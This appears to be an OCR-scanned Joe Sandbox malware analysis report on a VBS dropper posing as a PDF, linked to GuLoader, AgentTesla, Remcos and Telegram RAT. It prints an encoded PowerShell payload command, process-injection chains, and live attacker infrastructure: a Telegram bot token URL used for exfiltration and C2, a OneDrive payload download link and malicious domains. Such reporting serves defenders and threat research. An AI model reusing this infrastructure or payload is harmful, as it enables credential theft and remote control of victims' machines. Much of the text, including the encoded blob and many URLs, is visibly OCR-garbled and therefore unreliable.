AESAYQBKAG0AaQBIAHIAZQAZACAADABhAGAAZABZAGEACYBrAGKAIABBAHQAJABhAGMAMWAGAE YAQQBOAEUARGBKACAATQB1AGWAJAAXACAADQ
AKACMARAB1AGIAbABhAG4AJABIACAATABIAGQAZQBYACAAYWBSAGUACGBPACAARQBWAGKAZABPAGQAeQAIACAAVQBUAHYAZQBUAGUANQAGAGCA
bwB1AGEAYWBOAGUAZWBIACAATQBVAGQACWBOAG4AaQBUAGCAMQAGAFMATABVAFQAVABJIAEQAIABRAHUAY QBSAGKAJABhADGAIABLAFYARWBBAF
YATABMAEUAIABVAEUARWBFACAAUWBUAEEAVABTAFMASWBBAFQAIABBAGIACWBOACAAVABYAGEAYWBOAGUAbgBjADKAIABPAHIACGBIACAACWBO
AGEAZWBWAGKAYgBIACAAUWBIAG0AaQBMAGKAbgAOACAACgBhAHYAZQBUACAATQBPAGSAcgBVAHMAawAXACAAUGBVAE4ARABTAFQAWQBLAESARQ
AgAEIAbABrAGgAYQBOAHQAZQBzACAADQAKAAOACYANAAOAQQBKAGQALQBUAHKACABIACAALQBUAHKACABIAEQAZQBMAGKAbgBPAHQAAQBVAGAA
IABAACIADQAKAHUACWBPAG4AZWAGAFMAeQBzAHQAZQBIADSADQAKAHUACWBPAGAAZWAGAFMAeQBZAHQAZQBIACAAUGB1AGAAJABPAGOAZQAUAE
kAbgBOAGUAcgBVAHAAUWBIAHIAdgBpAGMAZQBzADSADQAKAHAAJQBIAGWAaQBJACAACWBOAGEAJABPAGMAIABJAGWAY QBzZAHMAIABUAGUACgBY
AGEAawA1ADEADQAKAHSADQAKAFSARABSAGWASQBIAHAAbwBYAHQAKAAIAGCAZABpADMAMgAIACKAXQBWAHUAY gBsAGKAYWAgAHMAJABhAHQAaQ
BJACAAZQB4AHQAZQBYAGAAIABIAGAAdABQAHQACYAJAEUADgBIAGOARYBVAGAAJABZAEEAKABZAHQACYBPAGAAZWAGAGOAY QBEAGUAYgASAHUA
aQBUAHQAIABYAGUAJABYAGSAZABhAHQAZQBOACWAaQBUAHQAIABTAFQAUYBJIAESAVIASAGKAbgBOACAAVABIAHIACBhAGSANQAWACWAAQBUAH
QAIABLAFIAUWBFAEWAUWASAGKAbgBOACAAUWBJIAEWARQASAGKAbGBOACAASQBUAGQAJABhAHAACABIACKAOWANAACAWWBEAGWADABJAGOACABY
AHIAJAAOACIASWBFAFIATgBFAEWAMWAYACIALAAGAEUAbgBOAHIAeQBQAG8AaQBUAHQAPQAIAEMACYBIAGEAJABIAE Y AaQBSAGUAQQAIACKAXQ
BWAHUAYgBSAGKAYWAgAHMAJABhAHQAQBJACAAZQBAAHQAZQBYAGAAIABIAGAAdABQAHQACYAJAFY AaQBhAGMAKABDAEOAY QBYAHMAAABhAGWA
QQBzACgAVQBUAGOAYQBUAGEAZWBIAG QAVAB5AHAAZ QAUAEWAUABTAHQACGAPAFOACWBOAHIAaQBUAGCAIABIAGEAegBIAGIALABIAGKAbGBOAC
AACgBIAHQACGBVAGQAYQBOAGUAJAASAGKAbgBOACAAUWBUAFIASQBLAFYALABPAGAAJAAGAFQAZQBYAHIAY QBrADUAMAASAGKAbgBOACAASWBS
AFMARQBMAFMALABpPAG4AJAAgAFMASQBMAEUALABPAGAAJAAJAEKAbGBKAHQAY QBWAHAAZQAPADSADQAKAFSARABSAGWASQBIAHAADWBYAHQAKA
AIAG4AdABKAGWADAAIACKAXQBWAHUAY gBSAGKAYWAgAHMAJABhAHQAaQBJACAAZQBAAHQAZQBYAGAAIABPAGAAJAAGAE4AJABBAGWADABVAGMA
YQBOAGUAVgBpAHIAJAB1AGEADABNAGUAbQBVAHIAeQACAGKADYBOACAAVABIAHIACGBhAGSANQA2ACWACGBIAGYAIABJAGAAIAAZADIAIABLAH
1AaQBOAGKAawBrAGUACgBKADGALABPAGAAJAAGAFAAdQBIAGKAYWBVAHMAZQBMAGEANWASAHIAZQBMACAASQBUAHQAMWAYACAAVABIAHIACgBh
AGSANQASAGKAbgBOACAARABPAHMAYWBVAGOADQBIAG4AMgASAGKAbGBOACAAVABIAHIACGBhAGSANQA3ACKAOWANAACAWWBEAGWADABIAGOACA
BVAHIAJAAOACIASWBFAFIATgBFAEWAMWAYACIALAAgAEUAbgBOAHIAeQBQAG8AaQBUAHQAPQAIAFIAZQBhAGQARGBPAGWAZQAIACKAXQBWAHUA
YgBsAGKAYWAGAHMAJABhAHQAAQBJACAAZQBAAHQAZQBYAGAAIABPAGAAJAAGAEMARABBAEMAKABPAGAAdAAGAFAAJQBIAGKAYWBVAHMAZQBMAG
EANWAWACWAJQBPAG4AJAAGAFAAIQBIAGKAYWBVAHMAZQBMAGEANWAXACWASQBUAHQAUABOAHIAIABQAHUADQBPAGMAbWBZAGUAZYBhADCAMgAS
AHIAZQBMACAASQBUAHQAMWAYACAAUAB1AGOAaQBJAGSACWBIAG YAYQA3ADMALABPAGAAdAAGAFAAJQBIAGKAYWBVAHMAZQBMAGEANWAOACKAOW
ANAAOAWWBEAGWADABJIAGOACABVAHIAJAAOACIAVQBTAEUAUGAZADIAIGAPAFOACABLAGIADABPAGMAIABZAHQAYQBOAGKAYWAGAG UAeABOAGUA
cgBUACAASQBUAHQAUABOAHIAIABFAG4AdQBIAFcAaQBUAGQAbWB3AHMAKABJIAGAAJABQAHQACGAGAFAAIQBIAGKAYWBVAHMAZQBMAGEANWALAC
WAaQBUAHQAIABQAHUAbQBpPAGMAbwBzAGUAZgBhADCANGAPADSADQAKAAOACYBIAAOACIAIAEAADQAKACMAY gB1AHIACYBIAGAAIABSAEUAVABD
AEgASQBOAECAIABLAGIAZQBzAHUADbQBzAHIAdQAgAFCAQQBZAFCAIABJAGEAZABIAGKAdQBIAGYAIABUAFIARQBTACAAUYBFAECASQBPAE4AQQ
BMAEKAIABPAG4AawBiAG UAcgByAGKAZQBzACAAUYBFAECASQBTAFQAUGAGAFIAY QBZAHQAZQBOAHUAZQBNAGUANQAGAFAAZQBSAHYAaQBIAGUA
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NQAgGAFIAZQBIAGWAbAAGAAOACIAKAFQAZQBYAHIAY QBIADUAMYAIACIAIABIAGAAdgABAHQAZQBIAHAAIGAGACSAIAAIAFWAVABYAGBADABKAG
UACWAUAGQAYQBOACIADQAKACMAQgBBAFUAVABBACAARgBSAESAVWBOACAAUABhAGWAbQAJAEUACABhAGAAbWAGAE4AbWBUAGKAbgBJAHIAZQBH
ACAAVQBUAGUAbQBIAGEAeQBIAGQAJQA4ACAAQYBFAE4AWGBIAE4AAQWBIAEEAIABIAG8AbgBhAGKACYBIACAASQBEAEUAQQBMAFKASWAGAESATY
BJAFAATABFACAATABhAGsAcwBmMADKAIABCAEUAQWBIAEEAIABGAGWAY QBzAGSAZQBUAHMACWAGAEOAY QBzAHMAY QBrAHIAZQBYADYAIABTAGSA
ZQB3ACAARgBYAG8AdwBzAHQACWBOAHIAZQAgAEMAaABPAHIAaQBUAGBAdQA2ACAAUYGBVAEIAQYBMAFKAUWBUAFIAIABPAG4AYWBpPAGEACWBhAG
0AbQBIACAATWBWAHQAbwBpADQAIABTAHKAYWBhAGOAaQBUAGUAIABTAGEAbABtAGKACWAGAAOACIAKAFQAZQBYAHIAY QBrADUAMWA9ADAAOWAN
AA0AIJABUAGUACgBYAGEAawA1ADKAPQAXADAANAA4ADUANWA2ADSADQAKACQAVABIAHIACgBhAGSANQA4ADOAWWBUAGUACgBYAGEAawA1ADEAXQ
ABADOATgBOAEEADABSAGBAYWBhAHQAZQBWAGKAcgBOAHUAY QBSAEOAZQBtAGBAcgB5ACGALQAXACWAWWBYAGUAZgBAACQAVABIAHIACgBhAGSA
NQAZACWAMAASAFSACYBIAGYAXQAKAFQAZQBYAHIAY QBrADUAOQASADEAMgAYADgAOAASADYANAAPAAOACIAJAGQAaQBZAHAADABIAGEACWBIAC
AAUWBI1AGIAcwBhAGWAdABKADCAIABIAHUAZWBOAHUAbBABIAHIAcwBOACAAUWBIAHAAbwBUADUAIABQAEUATOBTAEKATWBOAEUAUgBOACAAUWB2
AHYAZQBmMAGwWAeQBIADMAIABUAFIATWBMAEQATQBBACAAZWBhAHMAJABYAG8ACABOAGKAIABIAGAAYWBOAGEAIABLAEWAQQBWAEUAUWAGAGOAbw
BKAHIAZQBnAG4AaQBUACAATQBJAEWASQBFAFUAUWAgAFMAbWBNAGCAZQBUACAARGBPAFIAVABBAEWARQBSAFMAIABMAGEAbBQBSAGYACgBpAGQA
IABEAGKACWBWADUAIABPAHAAaAB2ACAAUWBrAHUAbABWAHQAIABIAGAACWBPAGQAaQAgAFMAawB5AG Y AbwAgAEMAbwBUAGKAbgBIAGUANgAgAF
IAZQBzAGUACcgB2AGUAbwBmMACAAdgBhAGKACgAgGAEUAUABIJAEQARQBNACAAQQBFAFIATWBNAEUAVAAGAFMARQBYAEYASQBMAEOAIABTAFQAQQBL
AE4ASQAgAECAYQBUAGCAYgBYAGUAZAAXACAAUWBVAFMAUABFAE4AIABDAHIAeQBWAHQAIABEAFKARWBUAEKARWBHAFIAQWAGAEQASQBTAFAAVQ
AgAAOACYAKAFQAZQBYAHIAY QBIADUANAAIAFSAVABIAHIACGBhAGSANQAXAFOAOGABAFYAaQBhAGMAKAAKAFQAZQBYAHIAYQBrADUAMGASADIA
MQAOADCANAA4ADMANgAOADgALAAXACWAMAASADMALAAXADIAOAASADAAKQANAAOAIWBTAHUAYgBzACAASQBUAHQACgBhAHQACgAgAFUAbgBmMAH
IAdQBpAHQAIABFAE4ARABFAEIAQQAgAFMAZQBUAHQAaQBUAGUAMWAQAFIAUgBMAEKAIABPAHUAJABWAHIAZQBIAG4AcwWBjADCAIABEAEUATGBT
AEKAVABFAFQARQBSACAAUWBWAFUATABTAFQAIAANAACAJABUAGUACgBYAGEAawA1ADUAPQAWADSADQAKACMARQBWAGKAZWBIAHUAOQAQAEIAZQ
BIAGgAaQB2AGUACWBWAGUANAAGAGOAYQBsSAHQAaABIACAAYgBhAHMAJABPAG4AY QBKACAAVABYAGSACABSAGEACWBOAGUANQAQAHUAZABZAGSA
cgBIACAASQBOAEQATWBLAFQAUgBJAE4AIABTAFQASYBFAFIATgBFACAATGBVAHQAZQBYAGKAbgBNADCAIABIAGUACWBIAGEAZAAGAFAAQQBOAF
QAUWBUAE4ASQAgAFMADABhAHMAaABPAGAANAAGAEWATWBUAEUAIABFAGOACABPAHIANgAgAEKATgBOAESAVIBBAFQASQAJAEUACWBOAGKAbQBH
AHQAIABXAHUAaQBzAHEAIABHAEEATABEAFIASQBNAEEATQBPACAARABCAEQASQBTAFAARQBSAECAQQAGAGOAbWBUAGBAbBABVAGCAIABYAHUAA
BkAHKAYgBKAGUACAAgAEUATgBWAEKAUWBBAECAIABSAHUAZWBIACAARABPAESAUgBTAFQARQBBACAASWBIAG4AeQBhAGAAZQBYACAAUWBUAGKA
ZwBtAG8ACcgBKAGUACgA4ACAACABYAGKACWB2ACAAVABSAESAVQBCACAAVQBQAECAUGBPACAAQQYB5AGCAZWBIAHQAaQBSADYAIABDAESBAQQBDAE
gARgBVAEWAVABJACAAQgYB5AHIAbBWAXACAATYBVAGAACGBIAGEADABPAHMAMWAGAAOACYBbAFQAZQBYAHIAY QBrADUAMQBAADOAOgBDAEQAQQBD
ACgAJABUAGUACgBYAGEAawA1ADQALAAKAFQAZQBYAHIAYQBrADUAMWASADUAOAAZADQAMQASAFSACGBIAGYAXQAKAFQAZQBYAHIAY QBrADUANQ
AsADAAKQANAAOAIWBTAGSsAcgBKAGQAZQBYACAAZgBGAGEAbgBOAGUAdgB5AHUAIABHAHUAZQBSADgAIABSAEUARABBAESAIABUAEKATABUACAA
SQBOAFYASQBUAEUAUgBFAE4AIABHAEWAQQBEAEUAUWBUAEUAUWAgAHUAZWBYAHMACWBIAHQACWBOAHKAIABOAEEAVgBOAEUARgBMACAASABVAE
4ARABFAE4ARQBTACAAYWBhAHMAYWBhAGQAIABDAGEAbgBhAGEAbgBpAHQAaQAgAFUAbgBYAGUAIABWAGEAYgBSAGUANAAgAEgAeQBnAHIAbwBW
AGgAdABoACAATABhAHAAaQBJAGKAZAASACAARWBhAHcAawBpACAAdABpAGQACWBhAGSACWBIACAAQQBNAGUACgBzAGUAIABhAGWAZQB1AHQAaQ
BhAG4AcWAgAGIAeQBYAGEAY QBKAHMAbBQAgGAEUAbgBOAGUABABVAGQABWAOACAAQYBSAEEATgBDAEgGASQBPAEIARAAgGAEMAbWBYAHIAOAAGAFMA
dQBwWAGUACgBhACAAUgBIAHMAYgBVAHIAZWAgAEgAbWB2AGUAZABIAGEAOQAQAFIARQBLAFIARQBFACAACWBOAGBACABLACAADQAKAFSAVABIAH
IAcgBhAGSANQAXAFOAOgABAEUAbgB1AGOAVWBPAG4AAZABVAHCACWAOACQAVABIAHIAcgBhAGSANQAZACWAIAAWACKADQAKAAOACGA= MD5:
C32CA4ACFCC635EC1EA6ED8BA34DF5FAC)
conhost.exe (PID: 1632 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

e [ csc.exe (PID: 3528 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp

\5gap5ezo\5gap5ezo.cmdline MD5: EB8OBB1CA9BIC7F516FF69AFCFD75B7D)

e [ cvires.exe (PID: 6136 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Us
ers\usen\AppData\Local\Temp\RESF835.tmp" "c:\Users\user\AppData\Local\Temp\5gap5ezo\CSCC8BDOABCCBE4C73AB31BODCB5E94165. TMP" MD5:
70D838A7DC5B359C3F938A71FAD77DB0)

e [ CasPol.exe (PID: 8376 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe MD5: 914F728C04D3EDDD5FBA59420E74E56B)

. @ ieinstal.exe (PID: 8540 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\msjsdp MD5:
7871873BABCEA94FBA13900B561C7C55)

. @ ieinstal.exe (PID: 4020 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\omodehgjd MD5:
7871873BABCEA94FBA13900B561C7C55)

. @ ieinstal.exe (PID: 9032 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\zobwfaalrtsxm MD5:
7871873BABCEA94FBA13900B561C7C55)

. @ ieinstal.exe (PID: 5236 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\xxulbm MD5:
7871873BABCEA94FBA13900B561C7C55)

. @ ieinstal.exe (PID: 6064 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext “C:\Users\user\AppData\Local\Temp\iahwcebtg MD5:
7871873BABCEA94FBA13900B561C7C55)

. @ ieinstal.exe (PID: 2684 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\sumouwmncqxiz MD5:

7871873BABCEA94FBA13900B561C7C55)

= cleanup

Malware Configuration
Threatname: Agenttesla

{

“"Chat id": "-623186656",
“Chat URL": "https://api.telegram.org/bot2135733177:AAGBIQMSb9sct4MULOkpdpBOpPO3n3AKBfA/sendDocument”
}

Threatname: Guloader

{
"Payload URL": "https://onedrive.live.com/download?cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD51867%21312&authkey=AJEiJ04sJsNK"

}

Threatname: Telegram RAT

{
"C2 url": "https://api.telegram.org/bot2135733177:AAGBIQMSb9sct4MUL OkpdpBOpPO3n3AKBfA/sendMessage”

}
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Yara Signatures

Memory Dumps

Source

00000023.00000002.3337167137.0000000009500000.0000
0040.00000800.00020000.00000000.sdmp

0000001B.00000003.2548688512.0000000000646000.0000
0004.00000020.00020000.00000000.sdmp

00000027.00000002.6392324112.000000001D4D1000.0000
0004.00000800.00020000.00000000.sdmp

00000027.00000002.6392324112.000000001D4D1000.0000
0004.00000800.00020000.00000000.sdmp

00000027.00000002.6392324112.000000001D4D1000.0000
0004.00000800.00020000.00000000.sdmp

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Antivirus detection for URL or domain
Found malware configuration

Multi AV Scanner detection for submitted file
Yara detected Remcos RAT

Multi AV Scanner detection for domain / URL

Rule

JoeSecurity_GulLo
ader_2

SUSP_LNK_Suspi
ciousCommands

JoeSecurity_Agent
Tesla_1

JoeSecurity_Crede
ntialStealer

JoeSecurity_Teleg
ramRAT

Description

Yara detected
GulLoader

Detects LNK file
with suspicious
content

Yara detected
AgentTesla

Yara detected
Credential Stealer

Yara detected
Telegram RAT

Author

Joe Security

Florian Roth

Joe Security

Joe Security

Joe Security

Click to see the 11 entries

Strings

e 0Ox5a3c:$s12: Wscript.Shell
e 0x9bd2:$s12: Wscript.Shell

Networking

Uses the Telegram API (likely for C&C communication)

Uses dynamic DNS services

Potential malicious VBS script found (has network functionality)

C2 URLs / IPs found in malware configuration

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

E-Banking Fraud

Copyright Joe Security LLC 2022

ra detected Remcos RAT
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System Summary

Wscript starts Powershell (via cmd or directly)

Very long command line found

Data Obfuscation

Yara detected GuLoader

Boot Survival

I

=

Creates multiple autostart registry keys

E E
-

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Malware Analysis System Evasion

!
=

Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found
Injects a PE file into a foreign processes

Writes to foreign memory regions

Stealing of Sensitive Information

Yara detected AgentTesla

Yara detected Telegram RAT

Yara detected Remcos RAT

Tries to steal Mail credentials (via file / registry access)

Tries to steal Mail credentials (via file registry)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials

Yara detected WebBrowserPassView password recovery tool

Tries to steal Instant Messenger accounts or passwords

Remote Access Functionality

Yara detected AgentTesla

Yara detected Telegram RAT

Yara detected Remcos RAT

Mitre Att&ck Matrix
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet
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Ready to choose backup options?

[EPMLNOE MNCURQNKVARA

Ell O Type here to search ]

Tum off reminders View backup options

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

doc_65398086_4190362045539.pdf.vbs 19% Virustotal Browse

doc_65398086_4190362045539.pdf.vbs 20% ReversingLabs Script.Trojan.Valyri

a
Dropped Files
@ No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download

34.0.ieinstal.exe.400000.2.unpack 100% Avira HEUR/AGEN.12 Download File
44765

30.2.ieinstal.exe.400000.0.unpack 100% Avira HEUR/AGEN.12 Download File
11693

30.0.ieinstal.exe.400000.1.unpack 100% Avira HEUR/AGEN.12 Download File
44765

30.0.ieinstal.exe.400000.3.unpack 100% Avira HEUR/AGEN.12 Download File
44765

28.2.ieinstal.exe.400000.0.unpack 100% Avira HEUR/AGEN.12 Download File
11693

34.0.ieinstal.exe.400000.1.unpack 100% Avira HEUR/AGEN.12 Download File
44765

30.0.ieinstal.exe.400000.0.unpack 100% Avira HEUR/AGEN.12 Download File
44765

34.2.ieinstal.exe.400000.0.unpack 100% Avira HEUR/AGEN.12 Download File
11693

34.0.ieinstal.exe.400000.0.unpack 100% Avira HEUR/AGEN.12 Download File
44765

30.0.ieinstal.exe.400000.2.unpack 100% Avira HEUR/AGEN.12 Download File
44765

Copyright Joe Security LLC 2022 Page 14 of 69


https://www.virustotal.com/gui/file/74e1b9fa91b0840706b7418b8604d76efab886fec1704b8810ad389aa6a9cb9b/detection/f-74e1b9fa91b0840706b7418b8604d76efab886fec1704b8810ad389aa6a9cb9b-1652327850

Source Detection Scanner Label Link
30.0.ieinstal.exe.400000.4.unpack 100% Avira HEUR/AGEN.12
44765
32.2.ieinstal.exe.400000.0.unpack 100% Avira HEUR/AGEN.12
11693
34.0.ieinstal.exe.400000.4.unpack 100% Avira HEUR/AGEN.12
44765
34.0.ieinstal.exe.400000.3.unpack 100% Avira HEUR/AGEN.12
44765
Domains
Source Detection Scanner Label
|-0004.1-dc-msedge.net 0% Virustotal
myfrontmannyfour.ddns.net 1% Virustotal
vegproworld.com 5% Virustotal
URLs
Source Detection Scanner Label
http://127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe
http://https://vegproworld.com/wp-content/Medalj.vbsL5 0% Avira URL Cloud safe
http:/fpesterbdd.com/images/Pester.png 100% Avira URL Cloud malware
http://https://go.micro 0% Avira URL Cloud safe
http:ifhttps://contoso.com/License 0% Avira URL Cloud  safe
http://https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32- 0% Avira URL Cloud safe
0.4.3.6.ziphttps://www
http://https://contoso.com/Icon 0% Avira URL Cloud safe
http://https://vegproworld.com/ 0% Avira URL Cloud safe
http://https://contoso.com/ 0% Avira URL Cloud safe
http://DynDns.comDynDNSnamejidpasswordPsi/Psi 0% Avira URL Cloud safe
http://mHPdOL.com 0% Avira URL Cloud safe
http://https://vegproworld.com/wp-content/Medalj.vbs 0% Avira URL Cloud safe
http://https://VaZy5UilfWtrw.com 0% Avira URL Cloud safe
Domains and IPs
Contacted Domains
Name IP Active Malicious Antivirus Detection
1-0003.I-dc-msedge.net 13.107.43.12 true false
1-0004.l-dc-msedge.net 13.107.43.13 true false e 0%, Virustotal, Browse
myfrontmannyfour.ddns.net 185.19.85.162 true true e 1%, Virustotal, Browse
api.telegram.org 149.154.167.220 true false
vegproworld.com 148.66.138.165 true true * 5%, Virustotal, Browse
srod3g.dm.files.1drv.com unknown unknown  false
onedrive.live.com unknown unknown  false
srgeug.dm.files.1drv.com unknown unknown  false

Contacted URLs
Name

http:ff
https://api.telegram.org/bot2135733177:AAGBiIQMSh9sct4MULOkpdpBOpPO3n3AKBfA/sendDocum
ent

http://https://onedrive.live.com/download?
cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD51867%21312&authkey=AJEiJ04sJsNkOIM

http://https://onedrive.live.com/download?
cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD51867%21312&authkey=AJEiJ04sJsNk

http://https://srod3g.dm.files.1drv.com/y4m1P90Kk2H-
cNQxXOJImgK2HftFgWGVGMYnAecew4lQelLIRVES3MVmM9AZePLE-
7ycBADDM?9gjChXojaUAFvzvY-Cy423yGwrUIC_bcoelJiYKCw2nHeJm1x3gw-
2YaAOTwF9stB2Fe3l_Q9EF5DHXKtmNsHMwqvsJEU4eUPPpWM4bTgczCUMzY-
aeTL5nEBZP9w90-E6QNqLbkLX7BveYa8g/asorem_uGQzQIB204.bin?download&psid=1
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Malicious Antivirus Detection

false

false

false

false

Download

Download File

Download File

Download File

Download File

Link
Browse
Browse

Browse

Link

Reputation
unknown
unknown
unknown
high
unknown
high

high

high

Reputation

high

high

high

high
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https://www.virustotal.com/gui/url/bbf0e7158cf5cbb36b6bb174c62a0520129786eec855f618ec6f0c2ec2942835/detection/u-bbf0e7158cf5cbb36b6bb174c62a0520129786eec855f618ec6f0c2ec2942835-1651196210
https://www.virustotal.com/gui/url/1fa13aeb5fb32c12ee20fe24f8f059f22e166ae16f3cceac163c9d9f010f20de/detection/u-1fa13aeb5fb32c12ee20fe24f8f059f22e166ae16f3cceac163c9d9f010f20de-1651061959
https://www.virustotal.com/gui/url/ca893b33a9baeb7701ed057d241ff58b8dce87cf71d44485d6e1a262dcd8e51f/detection/u-ca893b33a9baeb7701ed057d241ff58b8dce87cf71d44485d6e1a262dcd8e51f-1651861810
https://www.virustotal.com/gui/url/bbf0e7158cf5cbb36b6bb174c62a0520129786eec855f618ec6f0c2ec2942835/detection/u-bbf0e7158cf5cbb36b6bb174c62a0520129786eec855f618ec6f0c2ec2942835-1651196210
https://www.virustotal.com/gui/url/1fa13aeb5fb32c12ee20fe24f8f059f22e166ae16f3cceac163c9d9f010f20de/detection/u-1fa13aeb5fb32c12ee20fe24f8f059f22e166ae16f3cceac163c9d9f010f20de-1651061959
https://www.virustotal.com/gui/url/ca893b33a9baeb7701ed057d241ff58b8dce87cf71d44485d6e1a262dcd8e51f/detection/u-ca893b33a9baeb7701ed057d241ff58b8dce87cf71d44485d6e1a262dcd8e51f-1651861810

Name Malicious

http://https://srqeug.dm.files.1drv.com/y4mQ5yJoi4Y6HcwNbCc6pUgdD- false
mITQ7kZEuD91b6ItEUIOdCsX5pbb6sRhAFyyWOrsiikZIYNIG3aN6ru2QI2Jocl96QMckoKGjZLRdv33
V4FgJIT3eaTuEf_wgTXNdhuttMwhMLh-

VKMKO_LprFAQjs6 TmBR3J7sRcYsKdRqB400cy23CLaBXHZNwliALrPOgAPIE2b6fOWIjj8SBigNo
Mxg/asonewstub_sILUK5.bin?download&psid=1

http://https://vegproworld.com/wp-content/Medalj.vbs true

URLs from Memory and Binaries

Name Source
http://https://srod3g.dm.files.1drv.com/E( ieinstal.exe, 0000001A.00000002.63436606
50.00000000033B8000.00000004.00000020.00
020000.00000000.sdmp
http:ff ieinstal.exe, 0000001A.00000002.63449848
https://srod3g.dm.files.1drv.com/y4m_w_TYZR6G948  69.00000000033D1000.00000004.00000020.00
DO0zxHbGIPmMcNEAsiCr- 020000.00000000.sdmp
h7u8jiKbgtUzAGOf6HCSyuDMew_yzc9ES
http://127.0.0.1:HTTP/1.1 CasPol.exe, 00000027.00000002.6392324112
.000000001D4D1000.00000004.00000800.0002
0000.00000000.sdmp
http://nuget.org/NuGet.exe powershell.exe, 00000015.00000002.237076
1640.00000000057E9000.00000004.00000800.
00020000.00000000.sdmp
http://https://vegproworld.com/wp- ieinstal.exe, 0000001A.00000002.63391755
content/Medalj.vbsL5 32.0000000003350000.00000004.00000020.00
020000.00000000.sdmp
http://https://api.telegram.org CasPol.exe, 00000027.00000002.6395527478

.000000001D654000.00000004.00000800.0002
0000.00000000.sdmp, CasPol.exe, 00000027
.00000002.6394320921.000000001D5DC000.00
000004.00000800.00020000.00000000.sdmp

http:// pesterbdd.com/images/Pester.png powershell.exe, 00000015.00000002.235774
7976.00000000048E6000.00000004.00000800.
00020000.00000000.sdmp

hitp:// CasPol.exe, 00000027.00000002.6392324112

https://api.telegram.org/bot2135733177:AAGBIQMSb9  .000000001D4D1000.00000004.00000800.0002
sct4MULOkpdpBOpPO3n3AKBfA/sendDocumentdocu  0000.00000000.sdmp

ment-----

http://www.apache.org/licenses/LICENSE-2.0.html powershell.exe, 00000015.00000002.235774
7976.00000000048E6000.00000004.00000800.
00020000.00000000.sdmp, powershell.exe,
00000015.00000002.2381742196.0000000007F
05000.00000004.00000800.00020000.0000000
0.sdmp

http://https://go.micro powershell.exe, 00000015.00000002.235956
9312.0000000004A18000.00000004.00000800.
00020000.00000000.sdmp, powershell.exe,
00000023.00000002.3301922011.0000000004B
93000.00000004.00000800.00020000.0000000
0.sdmp

http:ff CasPol.exe, 00000027.00000003.3255113193

https://srqeug.dm.files.1drv.com/y4mQ5yJoi4Y6HcwN  .0000000000E33000.00000004.00000020.0002

bCc6pUgdD- 0000.00000000.sdmp

mITQ7kZEuUD91b6ItEUIOdCsX5pbb6sRhAFyyWOrsi

http://https://contoso.com/License powershell.exe, 00000015.00000002.237076
1640.00000000057E9000.00000004.00000800.
00020000.00000000.sdmp

http:ff CasPol.exe, 00000027.00000002.6392324112

https://www.theonionrouter.com/dist.torproject.org/torbr .000000001D4D1000.00000004.00000800.0002

owser/9.5.3/tor-win32-0.4.3.6.ziphttps://www 0000.00000000.sdmp

http:{/https://contoso.com/lcon powershell.exe, 00000015.00000002.237076
1640.00000000057E9000.00000004.00000800.
00020000.00000000.sdmp

http:ff CasPol.exe, 00000027.00000003.3265852741

https://srqeug.dm files.1drv.com/y4mWmfXrC7pY_5e5 .0000000000E3F000.00000004.00000020.0002

zLdKHGbgTRTY7ru3PzSbhuunLusBV8qDfulgh_BHmiB 0000.00000000.sdmp, CasPol.exe, 00000027

YNt8OW1VE .00000002.6352571427.0000000000E31000.00
000004.00000020.00020000.00000000.sdmp,
CasPol.exe, 00000027.00000003.3265748320
.0000000000E34000.00000004.00000020.0002
0000.00000000.sdmp

Copyright Joe Security LLC 2022

Antivirus Detection

e Avira URL Cloud: safe

Malicious

false

false

false

false

true

false

true

false

false

false

false

false

false

false

false

Antivirus Detection

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: malware

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

Reputation

high

unknown

Reputation

high

high

low

high

unknown

high

unknown

high

high

unknown

high

unknown

unknown

unknown

high
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Name

http://https://support.google.com/chrome/?
p=plugin_flash

http://https://srod3g.dm.files.1drv.com/z

http://www.nirsoft.net

http://https://vegproworld.com/

http://https://srqeug.dm.files.1drv.com/

http://https://github.com/Pester/Pester

http://https://onedrive.live.com/

http:{/https://srqeug.dm.files.1drv.com/J

http:i/https://srod3g.dm files.1drv.com/

http:ifhttps://onedrive.live.com/download?
